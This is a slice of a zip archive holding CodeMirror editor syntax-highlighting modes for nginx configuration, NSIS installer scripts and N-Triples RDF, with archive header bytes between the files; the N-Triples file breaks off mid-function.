h=a.next();return"@"==h?(a.eatWhile(/[\w\\\-]/),c("meta",a.current())):"/"==h&&a.eat("*")?(b.tokenize=e,e(a,b)):"<"==h&&a.eat("!")?(b.tokenize=f,f(a,b)):"="!=h?"~"!=h&&"|"!=h||!a.eat("=")?'"'==h||"'"==h?(b.tokenize=g(h),b.tokenize(a,b)):"#"==h?(a.skipToEnd(),c("comment","comment")):"!"==h?(a.match(/^\s*\w*/),c("keyword","important")):/\d/.test(h)?(a.eatWhile(/[\w.%]/),c("number","unit")):/[,.+>*\/]/.test(h)?c(null,"select-op"):/[;{}:\[\]]/.test(h)?c(null,h):(a.eatWhile(/[\w\\\-]/),c("variable","variable")):c(null,"compare"):void
c(null,"compare")}function e(a,b){for(var
e,f=!1;null!=(e=a.next());){if(f&&"/"==e){b.tokenize=d;break}f="*"==e}return
c("comment","comment")}function f(a,b){for(var
e,f=0;null!=(e=a.next());){if(f>=2&&">"==e){b.tokenize=d;break}f="-"==e?f+1:0}return
c("comment","comment")}function g(a){return
function(b,e){for(var
f,g=!1;null!=(f=b.next())&&(f!=a||g);)g=!g&&"\\"==f;return
g||(e.tokenize=d),c("string","string")}}var
h,i=b("break return rewrite set accept_mutex accept_mutex_delay
access_log add_after_body add_before_body add_header addition_types aio
alias allow ancient_browser ancient_browser_value auth_basic
auth_basic_user_file auth_http auth_http_header auth_http_timeout autoindex
autoindex_exact_size autoindex_localtime charset charset_types
client_body_buffer_size client_body_in_file_only
client_body_in_single_buffer client_body_temp_path client_body_timeout
client_header_buffer_size client_header_timeout client_max_body_size
connection_pool_size create_full_put_path daemon dav_access dav_methods
debug_connection debug_points default_type degradation degrade deny
devpoll_changes devpoll_events directio directio_alignment empty_gif env
epoll_events error_log eventport_events expires fastcgi_bind
fastcgi_buffer_size fastcgi_buffers fastcgi_busy_buffers_size fastcgi_cache
fastcgi_cache_key fastcgi_cache_methods fastcgi_cache_min_uses
fastcgi_cache_path fastcgi_cache_use_stale fastcgi_cache_valid
fastcgi_catch_stderr fastcgi_connect_timeout fastcgi_hide_header
fastcgi_ignore_client_abort fastcgi_ignore_headers fastcgi_index
fastcgi_intercept_errors fastcgi_max_temp_file_size fastcgi_next_upstream
fastcgi_param fastcgi_pass_header fastcgi_pass_request_body
fastcgi_pass_request_headers fastcgi_read_timeout fastcgi_send_lowat
fastcgi_send_timeout fastcgi_split_path_info fastcgi_store
fastcgi_store_access fastcgi_temp_file_write_size fastcgi_temp_path
fastcgi_upstream_fail_timeout fastcgi_upstream_max_fails flv geoip_city
geoip_country google_perftools_profiles gzip gzip_buffers gzip_comp_level
gzip_disable gzip_hash gzip_http_version gzip_min_length gzip_no_buffer
gzip_proxied gzip_static gzip_types gzip_vary gzip_window if_modified_since
ignore_invalid_headers image_filter image_filter_buffer
image_filter_jpeg_quality image_filter_transparency imap_auth
imap_capabilities imap_client_buffer index ip_hash keepalive_requests
keepalive_timeout kqueue_changes kqueue_events large_client_header_buffers
limit_conn limit_conn_log_level limit_rate limit_rate_after limit_req
limit_req_log_level limit_req_zone limit_zone lingering_time
lingering_timeout lock_file log_format log_not_found log_subrequest
map_hash_bucket_size map_hash_max_size master_process memcached_bind
memcached_buffer_size memcached_connect_timeout memcached_next_upstream
memcached_read_timeout memcached_send_timeout
memcached_upstream_fail_timeout memcached_upstream_max_fails merge_slashes
min_delete_depth modern_browser modern_browser_value msie_padding
msie_refresh multi_accept open_file_cache open_file_cache_errors
open_file_cache_events open_file_cache_min_uses open_file_cache_valid
open_log_file_cache output_buffers override_charset perl perl_modules
perl_require perl_set pid pop3_auth pop3_capabilities port_in_redirect
postpone_gzipping postpone_output protocol proxy proxy_bind proxy_buffer
proxy_buffer_size proxy_buffering proxy_buffers proxy_busy_buffers_size
proxy_cache proxy_cache_key proxy_cache_methods proxy_cache_min_uses
proxy_cache_path proxy_cache_use_stale proxy_cache_valid
proxy_connect_timeout proxy_headers_hash_bucket_size
proxy_headers_hash_max_size proxy_hide_header proxy_ignore_client_abort
proxy_ignore_headers proxy_intercept_errors proxy_max_temp_file_size
proxy_method proxy_next_upstream proxy_pass_error_message proxy_pass_header
proxy_pass_request_body proxy_pass_request_headers proxy_read_timeout
proxy_redirect proxy_send_lowat proxy_send_timeout proxy_set_body
proxy_set_header proxy_ssl_session_reuse proxy_store proxy_store_access
proxy_temp_file_write_size proxy_temp_path proxy_timeout
proxy_upstream_fail_timeout proxy_upstream_max_fails random_index
read_ahead real_ip_header recursive_error_pages request_pool_size
reset_timedout_connection resolver resolver_timeout rewrite_log
rtsig_overflow_events rtsig_overflow_test rtsig_overflow_threshold
rtsig_signo satisfy secure_link_secret send_lowat send_timeout sendfile
sendfile_max_chunk server_name_in_redirect server_names_hash_bucket_size
server_names_hash_max_size server_tokens set_real_ip_from smtp_auth
smtp_capabilities smtp_client_buffer smtp_greeting_delay so_keepalive
source_charset ssi ssi_ignore_recycled_buffers ssi_min_file_chunk
ssi_silent_errors ssi_types ssi_value_length ssl ssl_certificate
ssl_certificate_key ssl_ciphers ssl_client_certificate ssl_crl ssl_dhparam
ssl_engine ssl_prefer_server_ciphers ssl_protocols ssl_session_cache
ssl_session_timeout ssl_verify_client ssl_verify_depth starttls stub_status
sub_filter sub_filter_once sub_filter_types tcp_nodelay tcp_nopush
thread_stack_size timeout timer_resolution types_hash_bucket_size
types_hash_max_size underscores_in_headers uninitialized_variable_warn use
user userid userid_domain userid_expires userid_mark userid_name userid_p3p
userid_path userid_service valid_referers variables_hash_bucket_size
variables_hash_max_size worker_connections worker_cpu_affinity
worker_priority worker_processes worker_rlimit_core worker_rlimit_nofile
worker_rlimit_sigpending worker_threads working_directory xclient
xml_entities xslt_stylesheet xslt_typesdrew@li229-23"),j=b("http
mail events server types location upstream charset_map limit_except if geo
map"),k=b("include root server server_name listen internal
proxy_pass memcached_pass fastcgi_pass
try_files"),l=a.indentUnit;return{startState:function(a){return{tokenize:d,baseIndent:a||0,stack:[]}},token:function(a,b){if(a.eatSpace())return
null;h=null;var
c=b.tokenize(a,b),d=b.stack[b.stack.length-1];return"hash"==h&&"rule"==d?c="atom":"variable"==c&&("rule"==d?c="number":d&&"@media{"!=d||(c="tag")),"rule"==d&&/^[\{\};]$/.test(h)&&b.stack.pop(),"{"==h?"@media"==d?b.stack[b.stack.length-1]="@media{":b.stack.push("{"):"}"==h?b.stack.pop():"@media"==h?b.stack.push("@media"):"{"==d&&"comment"!=h&&b.stack.push("rule"),c},indent:function(a,b){var
c=a.stack.length;return/^\}/.test(b)&&(c-="rule"==a.stack[a.stack.length-1]?2:1),a.baseIndent+c*l},electricChars:"}"}})),a.defineMIME("text/x-nginx-conf","nginx")}));PKI��[`�{�codemirror/mode/nsis/nsis.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Author: Jan T. Sott (http://github.com/idleberg)

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../../addon/mode/simple"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../../addon/mode/simple"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineSimpleMode("nsis",{
  start:[
    // Numbers
    {regex:
/(?:[+-]?)(?:0x[\d,a-f]+)|(?:0o[0-7]+)|(?:0b[0,1]+)|(?:\d+.?\d*)/, token:
"number"},

    // Strings
    { regex: /"(?:[^\\"]|\\.)*"?/, token: "string"
},
    { regex: /'(?:[^\\']|\\.)*'?/, token: "string"
},
    { regex: /`(?:[^\\`]|\\.)*`?/, token: "string" },

    // Compile Time Commands
    {regex:
/^\s*(?:\!(include|addincludedir|addplugindir|appendfile|cd|delfile|echo|error|execute|packhdr|pragma|finalize|getdllversion|gettlbversion|system|tempfile|warning|verbose|define|undef|insertmacro|macro|macroend|makensis|searchparse|searchreplace))\b/,
token: "keyword"},

    // Conditional Compilation
    {regex: /^\s*(?:\!(if(?:n?def)?|ifmacron?def|macro))\b/, token:
"keyword", indent: true},
    {regex: /^\s*(?:\!(else|endif|macroend))\b/, token:
"keyword", dedent: true},

    // Runtime Commands
    {regex:
/^\s*(?:Abort|AddBrandingImage|AddSize|AllowRootDirInstall|AllowSkipFiles|AutoCloseWindow|BGFont|BGGradient|BrandingText|BringToFront|Call|CallInstDLL|Caption|ChangeUI|CheckBitmap|ClearErrors|CompletedText|ComponentText|CopyFiles|CRCCheck|CreateDirectory|CreateFont|CreateShortCut|Delete|DeleteINISec|DeleteINIStr|DeleteRegKey|DeleteRegValue|DetailPrint|DetailsButtonText|DirText|DirVar|DirVerify|EnableWindow|EnumRegKey|EnumRegValue|Exch|Exec|ExecShell|ExecShellWait|ExecWait|ExpandEnvStrings|File|FileBufSize|FileClose|FileErrorText|FileOpen|FileRead|FileReadByte|FileReadUTF16LE|FileReadWord|FileWriteUTF16LE|FileSeek|FileWrite|FileWriteByte|FileWriteWord|FindClose|FindFirst|FindNext|FindWindow|FlushINI|GetCurInstType|GetCurrentAddress|GetDlgItem|GetDLLVersion|GetDLLVersionLocal|GetErrorLevel|GetFileTime|GetFileTimeLocal|GetFullPathName|GetFunctionAddress|GetInstDirError|GetLabelAddress|GetTempFileName|Goto|HideWindow|Icon|IfAbort|IfErrors|IfFileExists|IfRebootFlag|IfSilent|InitPluginsDir|InstallButtonText|InstallColors|InstallDir|InstallDirRegKey|InstProgressFlags|InstType|InstTypeGetText|InstTypeSetText|Int64Cmp|Int64CmpU|Int64Fmt|IntCmp|IntCmpU|IntFmt|IntOp|IntPtrCmp|IntPtrCmpU|IntPtrOp|IsWindow|LangString|LicenseBkColor|LicenseData|LicenseForceSelection|LicenseLangString|LicenseText|LoadAndSetImage|LoadLanguageFile|LockWindow|LogSet|LogText|ManifestDPIAware|ManifestLongPathAware|ManifestMaxVersionTested|ManifestSupportedOS|MessageBox|MiscButtonText|Name|Nop|OutFile|Page|PageCallbacks|PEAddResource|PEDllCharacteristics|PERemoveResource|PESubsysVer|Pop|Push|Quit|ReadEnvStr|ReadINIStr|ReadRegDWORD|ReadRegStr|Reboot|RegDLL|Rename|RequestExecutionLevel|ReserveFile|Return|RMDir|SearchPath|SectionGetFlags|SectionGetInstTypes|SectionGetSize|SectionGetText|SectionIn|SectionSetFlags|SectionSetInstTypes|SectionSetSize|SectionSetText|SendMessage|SetAutoClose|SetBrandingImage|SetCompress|SetCompressor|SetCompressorDictSize|SetCtlColors|SetCurInstType|SetDatablockOptimize|SetDateSave|SetDetailsPrint|SetDetailsView|SetErrorLevel|SetErrors|SetFileAttributes|SetFont|SetOutPath|SetOverwrite|SetRebootFlag|SetRegView|SetShellVarContext|SetSilent|ShowInstDetails|ShowUninstDetails|ShowWindow|SilentInstall|SilentUnInstall|Sleep|SpaceTexts|StrCmp|StrCmpS|StrCpy|StrLen|SubCaption|Unicode|UninstallButtonText|UninstallCaption|UninstallIcon|UninstallSubCaption|UninstallText|UninstPage|UnRegDLL|Var|VIAddVersionKey|VIFileVersion|VIProductVersion|WindowIcon|WriteINIStr|WriteRegBin|WriteRegDWORD|WriteRegExpandStr|WriteRegMultiStr|WriteRegNone|WriteRegStr|WriteUninstaller|XPStyle)\b/,
token: "keyword"},
    {regex: /^\s*(?:Function|PageEx|Section(?:Group)?)\b/, token:
"keyword", indent: true},
    {regex: /^\s*(?:(Function|PageEx|Section(?:Group)?)End)\b/, token:
"keyword", dedent: true},

    // Command Options
    {regex:
/\b(?:ARCHIVE|FILE_ATTRIBUTE_ARCHIVE|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_OFFLINE|FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_TEMPORARY|HIDDEN|HKCC|HKCR(32|64)?|HKCU(32|64)?|HKDD|HKEY_CLASSES_ROOT|HKEY_CURRENT_CONFIG|HKEY_CURRENT_USER|HKEY_DYN_DATA|HKEY_LOCAL_MACHINE|HKEY_PERFORMANCE_DATA|HKEY_USERS|HKLM(32|64)?|HKPD|HKU|IDABORT|IDCANCEL|IDD_DIR|IDD_INST|IDD_INSTFILES|IDD_LICENSE|IDD_SELCOM|IDD_UNINST|IDD_VERIFY|IDIGNORE|IDNO|IDOK|IDRETRY|IDYES|MB_ABORTRETRYIGNORE|MB_DEFBUTTON1|MB_DEFBUTTON2|MB_DEFBUTTON3|MB_DEFBUTTON4|MB_ICONEXCLAMATION|MB_ICONINFORMATION|MB_ICONQUESTION|MB_ICONSTOP|MB_OK|MB_OKCANCEL|MB_RETRYCANCEL|MB_RIGHT|MB_RTLREADING|MB_SETFOREGROUND|MB_TOPMOST|MB_USERICON|MB_YESNO|MB_YESNOCANCEL|NORMAL|OFFLINE|READONLY|SHCTX|SHELL_CONTEXT|SW_HIDE|SW_SHOWDEFAULT|SW_SHOWMAXIMIZED|SW_SHOWMINIMIZED|SW_SHOWNORMAL|SYSTEM|TEMPORARY)\b/,
token: "atom"},
    {regex:
/\b(?:admin|all|auto|both|bottom|bzip2|components|current|custom|directory|false|force|hide|highest|ifdiff|ifnewer|instfiles|lastused|leave|left|license|listonly|lzma|nevershow|none|normal|notset|off|on|right|show|silent|silentlog|textonly|top|true|try|un\.components|un\.custom|un\.directory|un\.instfiles|un\.license|uninstConfirm|user|Win10|Win7|Win8|WinVista|zlib)\b/,
token: "builtin"},

    // LogicLib.nsh
    {regex:
/\$\{(?:And(?:If(?:Not)?|Unless)|Break|Case(?:Else)?|Continue|Default|Do(?:Until|While)?|Else(?:If(?:Not)?|Unless)?|End(?:If|Select|Switch)|Exit(?:Do|For|While)|For(?:Each)?|If(?:Cmd|Not(?:Then)?|Then)?|Loop(?:Until|While)?|Or(?:If(?:Not)?|Unless)|Select|Switch|Unless|While)\}/,
token: "variable-2", indent: true},

    // FileFunc.nsh
    {regex:
/\$\{(?:BannerTrimPath|DirState|DriveSpace|Get(BaseName|Drives|ExeName|ExePath|FileAttributes|FileExt|FileName|FileVersion|Options|OptionsS|Parameters|Parent|Root|Size|Time)|Locate|RefreshShellIcons)\}/,
token: "variable-2", dedent: true},

    // Memento.nsh
    {regex:
/\$\{(?:Memento(?:Section(?:Done|End|Restore|Save)?|UnselectedSection))\}/,
token: "variable-2", dedent: true},

    // TextFunc.nsh
    {regex:
/\$\{(?:Config(?:Read|ReadS|Write|WriteS)|File(?:Join|ReadFromEnd|Recode)|Line(?:Find|Read|Sum)|Text(?:Compare|CompareS)|TrimNewLines)\}/,
token: "variable-2", dedent: true},

    // WinVer.nsh
    {regex:
/\$\{(?:(?:At(?:Least|Most)|Is)(?:ServicePack|Win(?:7|8|10|95|98|200(?:0|3|8(?:R2)?)|ME|NT4|Vista|XP))|Is(?:NT|Server))\}/,
token: "variable", dedent: true},

    // WordFunc.nsh
    {regex:
/\$\{(?:StrFilterS?|Version(?:Compare|Convert)|Word(?:AddS?|Find(?:(?:2|3)X)?S?|InsertS?|ReplaceS?))\}/,
token: "variable-2", dedent: true},

    // x64.nsh
    {regex: /\$\{(?:RunningX64)\}/, token: "variable", dedent:
true},
    {regex: /\$\{(?:Disable|Enable)X64FSRedirection\}/, token:
"variable-2", dedent: true},

    // Line Comment
    {regex: /(#|;).*/, token: "comment"},

    // Block Comment
    {regex: /\/\*/, token: "comment", next: "comment"},

    // Operator
    {regex: /[-+\/*=<>!]+/, token: "operator"},

    // Variable
    {regex: /\$\w+/, token: "variable"},

    // Constant
    {regex: /\${[\w\.:-]+}/, token: "variable-2"},

    // Language String
    {regex: /\$\([\w\.:-]+\)/, token: "variable-3"}
  ],
  comment: [
    {regex: /.*?\*\//, token: "comment", next:
"start"},
    {regex: /.*/, token: "comment"}
  ],
  meta: {
    electricInput:
/^\s*((Function|PageEx|Section|Section(Group)?)End|(\!(endif|macroend))|\$\{(End(If|Unless|While)|Loop(Until)|Next)\})$/,
    blockCommentStart: "/*",
    blockCommentEnd: "*/",
    lineComment: ["#", ";"]
  }
});

CodeMirror.defineMIME("text/x-nsis", "nsis");
});
PKI��[RXw���
codemirror/mode/nsis/nsis.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../../addon/mode/simple")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../../addon/mode/simple"],a):a(CodeMirror)})((function(a){"use
strict";a.defineSimpleMode("nsis",{start:[{regex:/(?:[+-]?)(?:0x[\d,a-f]+)|(?:0o[0-7]+)|(?:0b[0,1]+)|(?:\d+.?\d*)/,token:"number"},{regex:/"(?:[^\\"]|\\.)*"?/,token:"string"},{regex:/'(?:[^\\']|\\.)*'?/,token:"string"},{regex:/`(?:[^\\`]|\\.)*`?/,token:"string"},{regex:/^\s*(?:\!(include|addincludedir|addplugindir|appendfile|cd|delfile|echo|error|execute|packhdr|pragma|finalize|getdllversion|gettlbversion|system|tempfile|warning|verbose|define|undef|insertmacro|macro|macroend|makensis|searchparse|searchreplace))\b/,token:"keyword"},{regex:/^\s*(?:\!(if(?:n?def)?|ifmacron?def|macro))\b/,token:"keyword",indent:!0},{regex:/^\s*(?:\!(else|endif|macroend))\b/,token:"keyword",dedent:!0},{regex:/^\s*(?:Abort|AddBrandingImage|AddSize|AllowRootDirInstall|AllowSkipFiles|AutoCloseWindow|BGFont|BGGradient|BrandingText|BringToFront|Call|CallInstDLL|Caption|ChangeUI|CheckBitmap|ClearErrors|CompletedText|ComponentText|CopyFiles|CRCCheck|CreateDirectory|CreateFont|CreateShortCut|Delete|DeleteINISec|DeleteINIStr|DeleteRegKey|DeleteRegValue|DetailPrint|DetailsButtonText|DirText|DirVar|DirVerify|EnableWindow|EnumRegKey|EnumRegValue|Exch|Exec|ExecShell|ExecShellWait|ExecWait|ExpandEnvStrings|File|FileBufSize|FileClose|FileErrorText|FileOpen|FileRead|FileReadByte|FileReadUTF16LE|FileReadWord|FileWriteUTF16LE|FileSeek|FileWrite|FileWriteByte|FileWriteWord|FindClose|FindFirst|FindNext|FindWindow|FlushINI|GetCurInstType|GetCurrentAddress|GetDlgItem|GetDLLVersion|GetDLLVersionLocal|GetErrorLevel|GetFileTime|GetFileTimeLocal|GetFullPathName|GetFunctionAddress|GetInstDirError|GetLabelAddress|GetTempFileName|Goto|HideWindow|Icon|IfAbort|IfErrors|IfFileExists|IfRebootFlag|IfSilent|InitPluginsDir|InstallButtonText|InstallColors|InstallDir|InstallDirRegKey|InstProgressFlags|InstType|InstTypeGetText|InstTypeSetText|Int64Cmp|Int64CmpU|Int64Fmt|IntCmp|IntCmpU|IntFmt|IntOp|IntPtrCmp|IntPtrCmpU|IntPtrOp|IsWindow|LangString|LicenseBkColor|LicenseData|LicenseForceSelection|LicenseLangString|LicenseText|LoadAndSetImage|LoadLanguageFile|LockWindow|LogSet|LogText|ManifestDPIAware|ManifestLongPathAware|ManifestMaxVersionTested|ManifestSupportedOS|MessageBox|MiscButtonText|Name|Nop|OutFile|Page|PageCallbacks|PEAddResource|PEDllCharacteristics|PERemoveResource|PESubsysVer|Pop|Push|Quit|ReadEnvStr|ReadINIStr|ReadRegDWORD|ReadRegStr|Reboot|RegDLL|Rename|RequestExecutionLevel|ReserveFile|Return|RMDir|SearchPath|SectionGetFlags|SectionGetInstTypes|SectionGetSize|SectionGetText|SectionIn|SectionSetFlags|SectionSetInstTypes|SectionSetSize|SectionSetText|SendMessage|SetAutoClose|SetBrandingImage|SetCompress|SetCompressor|SetCompressorDictSize|SetCtlColors|SetCurInstType|SetDatablockOptimize|SetDateSave|SetDetailsPrint|SetDetailsView|SetErrorLevel|SetErrors|SetFileAttributes|SetFont|SetOutPath|SetOverwrite|SetRebootFlag|SetRegView|SetShellVarContext|SetSilent|ShowInstDetails|ShowUninstDetails|ShowWindow|SilentInstall|SilentUnInstall|Sleep|SpaceTexts|StrCmp|StrCmpS|StrCpy|StrLen|SubCaption|Unicode|UninstallButtonText|UninstallCaption|UninstallIcon|UninstallSubCaption|UninstallText|UninstPage|UnRegDLL|Var|VIAddVersionKey|VIFileVersion|VIProductVersion|WindowIcon|WriteINIStr|WriteRegBin|WriteRegDWORD|WriteRegExpandStr|WriteRegMultiStr|WriteRegNone|WriteRegStr|WriteUninstaller|XPStyle)\b/,token:"keyword"},{regex:/^\s*(?:Function|PageEx|Section(?:Group)?)\b/,token:"keyword",indent:!0},{regex:/^\s*(?:(Function|PageEx|Section(?:Group)?)End)\b/,token:"keyword",dedent:!0},{regex:/\b(?:ARCHIVE|FILE_ATTRIBUTE_ARCHIVE|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_OFFLINE|FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_TEMPORARY|HIDDEN|HKCC|HKCR(32|64)?|HKCU(32|64)?|HKDD|HKEY_CLASSES_ROOT|HKEY_CURRENT_CONFIG|HKEY_CURRENT_USER|HKEY_DYN_DATA|HKEY_LOCAL_MACHINE|HKEY_PERFORMANCE_DATA|HKEY_USERS|HKLM(32|64)?|HKPD|HKU|IDABORT|IDCANCEL|IDD_DIR|IDD_INST|IDD_INSTFILES|IDD_LICENSE|IDD_SELCOM|IDD_UNINST|IDD_VERIFY|IDIGNORE|IDNO|IDOK|IDRETRY|IDYES|MB_ABORTRETRYIGNORE|MB_DEFBUTTON1|MB_DEFBUTTON2|MB_DEFBUTTON3|MB_DEFBUTTON4|MB_ICONEXCLAMATION|MB_ICONINFORMATION|MB_ICONQUESTION|MB_ICONSTOP|MB_OK|MB_OKCANCEL|MB_RETRYCANCEL|MB_RIGHT|MB_RTLREADING|MB_SETFOREGROUND|MB_TOPMOST|MB_USERICON|MB_YESNO|MB_YESNOCANCEL|NORMAL|OFFLINE|READONLY|SHCTX|SHELL_CONTEXT|SW_HIDE|SW_SHOWDEFAULT|SW_SHOWMAXIMIZED|SW_SHOWMINIMIZED|SW_SHOWNORMAL|SYSTEM|TEMPORARY)\b/,token:"atom"},{regex:/\b(?:admin|all|auto|both|bottom|bzip2|components|current|custom|directory|false|force|hide|highest|ifdiff|ifnewer|instfiles|lastused|leave|left|license|listonly|lzma|nevershow|none|normal|notset|off|on|right|show|silent|silentlog|textonly|top|true|try|un\.components|un\.custom|un\.directory|un\.instfiles|un\.license|uninstConfirm|user|Win10|Win7|Win8|WinVista|zlib)\b/,token:"builtin"},{regex:/\$\{(?:And(?:If(?:Not)?|Unless)|Break|Case(?:Else)?|Continue|Default|Do(?:Until|While)?|Else(?:If(?:Not)?|Unless)?|End(?:If|Select|Switch)|Exit(?:Do|For|While)|For(?:Each)?|If(?:Cmd|Not(?:Then)?|Then)?|Loop(?:Until|While)?|Or(?:If(?:Not)?|Unless)|Select|Switch|Unless|While)\}/,token:"variable-2",indent:!0},{regex:/\$\{(?:BannerTrimPath|DirState|DriveSpace|Get(BaseName|Drives|ExeName|ExePath|FileAttributes|FileExt|FileName|FileVersion|Options|OptionsS|Parameters|Parent|Root|Size|Time)|Locate|RefreshShellIcons)\}/,token:"variable-2",dedent:!0},{regex:/\$\{(?:Memento(?:Section(?:Done|End|Restore|Save)?|UnselectedSection))\}/,token:"variable-2",dedent:!0},{regex:/\$\{(?:Config(?:Read|ReadS|Write|WriteS)|File(?:Join|ReadFromEnd|Recode)|Line(?:Find|Read|Sum)|Text(?:Compare|CompareS)|TrimNewLines)\}/,token:"variable-2",dedent:!0},{regex:/\$\{(?:(?:At(?:Least|Most)|Is)(?:ServicePack|Win(?:7|8|10|95|98|200(?:0|3|8(?:R2)?)|ME|NT4|Vista|XP))|Is(?:NT|Server))\}/,token:"variable",dedent:!0},{regex:/\$\{(?:StrFilterS?|Version(?:Compare|Convert)|Word(?:AddS?|Find(?:(?:2|3)X)?S?|InsertS?|ReplaceS?))\}/,token:"variable-2",dedent:!0},{regex:/\$\{(?:RunningX64)\}/,token:"variable",dedent:!0},{regex:/\$\{(?:Disable|Enable)X64FSRedirection\}/,token:"variable-2",dedent:!0},{regex:/(#|;).*/,token:"comment"},{regex:/\/\*/,token:"comment",next:"comment"},{regex:/[-+\/*=<>!]+/,token:"operator"},{regex:/\$\w+/,token:"variable"},{regex:/\${[\w\.:-]+}/,token:"variable-2"},{regex:/\$\([\w\.:-]+\)/,token:"variable-3"}],comment:[{regex:/.*?\*\//,token:"comment",next:"start"},{regex:/.*/,token:"comment"}],meta:{electricInput:/^\s*((Function|PageEx|Section|Section(Group)?)End|(\!(endif|macroend))|\$\{(End(If|Unless|While)|Loop(Until)|Next)\})$/,blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:["#",";"]}}),a.defineMIME("text/x-nsis","nsis")}));PKI��[`t˄��$codemirror/mode/ntriples/ntriples.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

/**********************************************************
* This script provides syntax highlighting support for
* the N-Triples format.
* N-Triples format specification:
*     https://www.w3.org/TR/n-triples/
***********************************************************/

/*
    The following expression defines the defined ASF grammar transitions.

    pre_subject ->
        {
        ( writing_subject_uri | writing_bnode_uri )
            -> pre_predicate
                -> writing_predicate_uri
                    -> pre_object
                        -> writing_object_uri | writing_object_bnode |
                          (
                            writing_object_literal
                                -> writing_literal_lang |
writing_literal_type
                          )
                            -> post_object
                                -> BEGIN
         } otherwise {
             -> ERROR
         }
*/

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("ntriples", function() {

  var Location = {
    PRE_SUBJECT         : 0,
    WRITING_SUB_URI     : 1,
    WRITING_BNODE_URI   : 2,
    PRE_PRED            : 3,
    WRITING_PRED_URI    : 4,
    PRE_OBJ             : 5,
    WRITING_OBJ_URI     : 6,
    WRITING_OBJ_BNODE   : 7,
    WRITING_OBJ_LITERAL : 8,
    WRITING_LIT_LANG    : 9,
    WRITING_LIT_TYPE    : 10,
    POST_OBJ            : 11,
    ERROR               : 12
  };
  function transitState(currState, c) {
    var currLocation = currState.location;
    var ret;

    // Opening.
    if     (currLocation == Location.PRE_SUBJECT && c ==
'<') ret = Location.WRITING_SUB_URI;
    else if(currLocation == Location.PRE_SUBJECT && c ==
'_') ret = Location.WRITING_BNODE_URI;
    else if(currLocation == Location.PRE_PRED    && c ==
'<') ret = Location.WRITING_PRED_URI;
    else if(currLocation == Location.PRE_OBJ     && c ==
'<') ret = Location.WRITING_OBJ_URI;
    else if(currLocation == Location.PRE_OBJ     && c ==
'_') ret = Location.WRITING_OBJ_BNODE;
    else if(currLocation == Location.PRE_OBJ     && c ==
'"') ret = Location.WRITING_OBJ_LITERAL;

    // Closing.
    else if(currLocation == Location.WRITING_SUB_URI     && c ==
'>') ret = Location.PRE_PRED;
    else if(currLocation == Location.WRITING_BNODE_URI   && c ==
' ') ret = Location.PRE_PRED;
    else if(currLocation == Location.WRITING_PRED_URI    && c ==
'>') ret = Location.PRE_OBJ;
    else if(currLocation == Location.WRITING_OBJ_URI     && c ==
'>') ret = Location.POST_OBJ;
    else if(currLocation == Location.WRITING_OBJ_BNODE   && c ==
' ') ret = Location.POST_OBJ;
    else if(currLocation == Location.WRITING_OBJ_LITERAL && c ==
'"') ret = Location.POST_OBJ;
    else if(currLocation == Location.WRITING_LIT_LANG && c ==
' ') ret = Location.POST_OBJ;
    else if(currLocation == Location.WRITING_LIT_TYPE && c ==
'>') ret = Location.POST_OBJ;

    // Closing typed and language literal.
    else if(currLocation == Location.WRITING_OBJ_LITERAL && c ==
'@') ret = Location.WRITING_LIT_LANG;
    else if(currLocation == Location.WRITING_OBJ_LITERAL && c ==
'^') ret = Location.WRITING_LIT_TYPE;

    // Spaces.
    else if( c == ' ' &&
             (
               currLocation == Location.PRE_SUBJECT ||
               currLocation == Location.PRE_PRED    ||
               currLocation == Location.PRE_OBJ     ||
               currLocation == Location.POST_OBJ
             )
           ) ret = currLocation;

    // Reset.
    else if(currLocation == Location.POST_OBJ && c ==
'.') ret = Location.PRE_SUBJECT;

    // Error
    else ret = Location.ERROR;

    currState.location=ret;
  }

  return {
    startState: function() {
       return {
           location : Location.PRE_SUBJECT,
           uris     : [],
           anchors  : [],
           bnodes   : [],
           langs    : [],
           types    : []
       };
    },
    token: function(stream, state) {
      var ch = stream.next();
      if(ch == '<') {
         transitState(state, ch);
         var parsedURI = '';
         stream.eatWhile( function(c) { if( c != '#' && c
!= '>' ) { parsedURI += c; return true; } return false;} );
         state.uris.push(parsedURI);
         if( stream.match('#', false) ) return
'variable';
         stream.next();
         transitState(state, '>');
         return 'variable';
      }
      if(ch == '#') {
        var parsedAnchor = '';
        stream.eatWhile(function(c) { if(c != '>' && c
!= ' ') { parsedAnchor+= c; return true; } return false;});
        state.anchors.push(parsedAnchor);
        return 'variable-2';
      }
      if(ch == '>') {
          transitState(state, '>');
          return 'variable';
      }
      if(ch == '_') {
          transitState(state, ch);
          var parsedBNode = '';
          stream.eatWhile(function(c) { if( c != ' ' ) {
parsedBNode += c; return true; } return false;});
          state.bnodes.push(parsedBNode);
          stream.next();
          transitState(state, ' ');
          return 'builtin';
      }
      if(ch == '"') {
          transitState(state, ch);
          stream.eatWhile( function(c) { return c != '"'; }
);
          stream.next();
          if( stream.peek() != '@' && stream.peek() !=
'^' ) {
              transitState(state, '"');
          }
          return 'string';
      }
      if( ch == '@' ) {
          transitState(state, '@');
          var parsedLang = '';
          stream.eatWhile(function(c) { if( c != ' ' ) {
parsedLang += c; return true; } return false;});
